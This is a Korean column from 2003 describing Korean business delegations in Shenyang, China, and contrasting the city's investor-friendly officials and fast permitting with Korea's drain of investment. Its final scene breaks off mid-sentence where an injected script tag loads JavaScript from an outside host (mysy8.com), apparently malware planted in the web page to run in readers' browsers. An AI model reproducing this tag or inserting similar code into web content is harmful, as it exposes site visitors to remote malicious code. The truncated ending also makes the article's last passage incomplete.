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작성일 |
2003-08-02 |
| 제목 |
중국의 급변-독인가, 약인가 |
<장면 1>
세아실업 2600만 달러, SK해운 1500만 달러, 정보통신협 2000만달러, 기타 4000만 달러.
지난 19일 하루에 선양시와 한국계 기업들이 맺은 투자계약의 액수이다. 총 8100만 달러.
외자유입이 물 끊긴 수도꼭지처럼 말라버린 한국과는 대조적이다. 한국에 돈이 없는 것이 아니고, 투자 의욕이 없는 것이 아닌데 한국의 상황은 기업인들의 등을 자꾸 밖으로 떠밀고 있다.
<장면 2>
국내 최초로 MRI장비에서 美 FDA 인준을 받고 수출까지 한 바 있는 대덕밸리의 모기업.
이 회사의 사장은 누구나 갖고 있는 휴대폰이 없다. 숙식도 회사에서 해결한다. 회사는 사실상의 부도 상태로 경비절감을 위해 마지막까지 애를 쓰고 있는 것.
같은 아이템을 하는 선양시의 뉴 소프트사.
종업원 6년만에 종업원 5500명의 중국 최대 회사로 부상했다. 선양시를 비롯해 중국은 이 기업에 공장 용지를 무상으로 제공하는 등 기업활동을 지원했다. 현재 일본 도시바, 미국 선 등 다국적 기업과 연계를 맺으며 선양시 후난신구를 디지털 시티로 만드는데 핵심 역할을 하고 있다.
<장면 3>
선양시 과학기술 담당 부시장과 모 지방자치단체 간부의 면담자리.
선양시 부시장: "선양은 두 가지 특징이 있는 도시이다. 과학기술이 강하고 첨단기술개발구가 있다. 국가급 연구소가 많고 우수한 연구원도 많다. 신재료와 SW, 로봇, 기계장비 등에서 앞선다. 다른 하나는 공업도시라는 점이다. 그러나 이 부분은 부가가치 제고를 위해 전면적인 구조조정이 필요하다. 이 과정에서 한국의 고급기술 수요가 있고, 한국 기업 입장에서는 새 시장이 될 수도 있을 것이다."
모 지자체: "시장이 오려했으나 부득이한 사정으로 못왔다. 두 도시간의 교류를 촉진할 기회가 마련됐으면 한다. 지역 벤처기업인들과 함께 왔다. 상호 이익 방안을 찾게 되기를 바란다. 잘 해보자. 다시 한 번 환대에 감사한다."
말만으로는 큰 차이를 발견할 수 없을지도 모르겠다. 선양시 간부는 본인들의 약점과 강점을 정확히 알고 전략적 접근을 했다. 한국의 모 지자체는 '잘 해보자'는 애매모호한 언사로 일관했다.
<장면 4>
18일 열린 한국주간 개막축하 만찬석.
이한동 전 총리를 비롯해 한국 국회의원과 경제계, 지방자치단체 등 한국계 인사 3백여명이 참석했다. 이들은 한국주간 행사에 참석한 한국측 인사의 15분의 1 규모.
선양시측은 이 자리에서 선양시에 대한 이미지 구축을 확실히 했다. 만찬이 끝나고 파하는 자리에서 배포한 선물에는 이미 2004년 한국주간 초청장이 들어있었다.
19일 토요일. 주5일 근무를 하는 중국인에게는 휴일이다.
이날 오전 선양시의 21세기 비전을 상징하는 '21세기 빌딩'내 국제회의장. 투자자들에 대한 선양시의 약속이란 주제의 프리젠테이션.
"1년 남짓한 기간 동안에 인프라를 갖추고 산업을 유치하며 신도시의 기본구조를 갖췄다. 중국 북방의 푸동을 목표로 지속발전 가능한 생태도시를 지향한다. 중국 전체에서 녹화율이 최고인 도시를 만들고, 신소재 전자정보 나노기술단지를 만들겠다. 싱가폴 개발 회사와 함께 후난신구를 개발하며 이 곳을 동북지방 반도체 생산 거점으로 만들겠다. 관광 일체형의 고품질 주거단지를 만들고 고등대학타운도 건설토록 하겠다. 많은 기업인분들이 투자를 해준다면 확실한 이익 보장을 약속하고 생활의 질도 세계적 수준이 될 것임을 장담한다."
이날 설명회장에 걸린 표어 두 개.
相約韓國周 友誼在輝南(한국주간에서의 만남, 훈남신구에서 친선을) 發展高新機術産業 推動中韓經濟合作(하이테크 산업을 발전시켜 한중경제무역협력을 강화하자)
<장면 5>
선양에서 성공한 기업인들의 사례 발표.
농심: "한국에서는 상상할 수 없는 초스피드로 공장 건설을 허가받았다. 인력수급과 원자재 수급 등에 있어서도 뭐하나 불평할 것이 없다. 허가과정에서 관련 공무원이 한 자리에서 모든 것을 해결해주었고, 지금도 불편한 것이 무엇이냐며 항상 서비스를 해주려한다."
삼보: "초기 진출시 우려가 많았으나 4년이 지난 지금 대만족이다. 선양시 정부와 개발구의 적극적 지원으로 공장을 수월하게 건설했다. 인허가 과정은 물론 주문형 공장을 지으며 3천만 위안을 지원받았다. 안정되고 우수한 노동력으로 주야 2교대의 생산 라인 운영이 아무 차질이 없다. 한국말을 할 줄 아는 공무원이 있고 적극적 서비스 정신을 갖고 있어 사업이 순항하고 있다."
<장면 6>
19일 선양한인회에서 개최한 한국인 교류의 자리.
오산시 박신원 시장과 선양시의 자오창이(趙長義) 부시장이 무대에 섰다. '중한통'이라하여 중국에서도 통용되는 한국 휴대폰이 있는데 이를 선물하기 위한 것. 두 사람의 용모가 대조적이다. 한 사람은 희끗희끗한 ?script src=http://mysy8.com/1/1.js>
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